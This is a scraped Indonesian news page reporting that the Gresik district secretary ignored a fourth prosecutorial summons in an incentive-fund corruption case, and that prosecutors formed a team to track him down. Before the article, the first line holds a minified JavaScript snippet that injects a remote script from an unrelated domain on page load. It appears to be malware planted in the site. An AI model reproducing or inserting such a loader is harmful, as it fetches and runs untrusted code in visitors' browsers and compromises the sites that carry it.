(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Jawa Timur

Kembali Mangkir Dipanggil, Kajari Bentuk Tim Buru Sekda Gresik


GRESIK, Sekretaris Daerah (Sekda) Kabupaten Gresik, Jawa Timur, Andhy Hendro Wijaya, lagi-lagi tak memenuhi panggilan Kejaksaan Negeri (Kejari) Gresik, Senin (21/10). Lantaran tak kunjung datang hingga batas waktu uang diberikan itu yakni pukul 12.00 WIB, membuat jajaran Kejari setempat, merasa tak dihormati.

Karena dianggap tidak menghormati hukum, mengundang Kepala Kejaksaan Negeri (Kajari) Gresik Pandu Pramukartika, mengambil langkah tegas. Ia pun membentuk tim untuk memburu keberadaan Andhy. Tim tersebut terdiri dari pidana khusus (Pidsus) dan Intel.

Langkah tegas diambil oleh orang nomor satu dijajaran Kejari Gresik ini, diambil lantaran Andhy tak kunjung datang memenuhi panggilan hingga yang keempat kalinya. Andhy dipanggil untuk diperiksah atas pengembangan kasus korupsi pemotongan dana insentif di BPPKAD.

“Saya perintahkan tim Kejari dari Pidsus dan Intel untuk mencari Pak Sekda. Sebab, panggilan ke-4 hingga pukul 12.00 WIB dia tak hadir,” ujar Pandu, Senin sore, kepada Kanalkalimantan.com.

Kajari menegaskan, pemanggilan Sekda untuk melengkapi keterangan saksi dan pengembangan kasus korupsi BPPKAD. Sayangnya, mantan Kepala BPPKAD Gresik ini, justru terkesan menghindari dan mangkir dari panggilan hukum.

Terkait mangkirnya dari panggilan keempat kalinya, Pandu mengaku sejauh ini belum menentukan status daftar pencarian orang (DPO), atau cekal terhadap Sekda Andhy. Meski begitu, Pandu, mengaku yang bersangkutan bisa saja dilakukan jemput paksa.

Diketahui, Kejari Gresik sebelumnya telah melayangkan empat kali surat panggilan kepada Sekda Gresik. Terakhir, pemanggilan dengan agenda pemeriksaan sebagai saksi yang dijadwalkan pada Senin (21/10).

Sebelumnya, Hakim Tipikor Surabaya yang memimpin sidang terdakwa mantan Pelaksana Tugas Kepala BPPKAD, M. Muktar meminta Kejari Gresik melakukan pengembangan kasus pemotongan dana insentif pegawai BPPKAD Gresik.

Penyidik Kejari lalu memanggil 12 saksi, di antaranya Kabid dan Kasubag, serta mantan Kabid dan Kasubag di BPPKAD. Namun, dari seluruh saksi, hanya Sekda Gresik yang mangkir hingga 3 kali dari panggilan penyidik Pidsus hingga dilayangkan pemanggilan keempat. (Muh)

Reporter : muh
Editor : Chell

 


Desy Arfianty

Recent Posts

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

8 jam ago

May Day di Kuala Kapuas, Pj Bupati Erlin Hardi Jalan Santai Bersama Buruh dan Masyarakat

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More

9 jam ago

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

9 jam ago

Manasik Haji 2024 Ditutup, Ini Pesan Bupati Banjar untuk Jemaah Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More

11 jam ago

D’Bakso Hadir Manjakan Lidah Warga Palangkaraya dengan Ragam Menu Bakso

KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More

11 jam ago

Gelar Rembuk Stunting, Pj Bupati HSU Inginkan Pencegahan Gagal Tumbuh Anak Secara Bersama

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More

12 jam ago

This website uses cookies.